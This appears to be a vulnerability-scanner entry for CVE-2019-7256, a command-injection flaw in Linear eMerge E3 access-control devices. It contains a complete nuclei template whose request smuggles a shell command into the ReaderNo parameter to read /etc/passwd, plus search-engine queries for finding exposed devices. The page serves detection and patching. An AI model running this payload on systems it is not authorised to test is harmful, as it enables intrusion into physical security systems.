eMerge E3 1.00-06 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-03-25; known to be used by ransomware.

criticalseverity

10CVSS score

97.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patch or update to a non-vulnerable version of eMerge E3.

How to confirm it

Send: GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 ; GET /{{file}}.txt
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-7256 -u <target>

The full check

id: CVE-2019-7256

info:
  name: eMerge E3 1.00-06 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47619
    - http://linear-solutions.com/nsc_family/e3-series/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-7256
    cwe-id: CWE-78
    epss-score: 0.97081
    epss-percentile: 0.99892
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,rce,edb,nortekcontrol,kev,vkev,vuln
variables:
  file: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from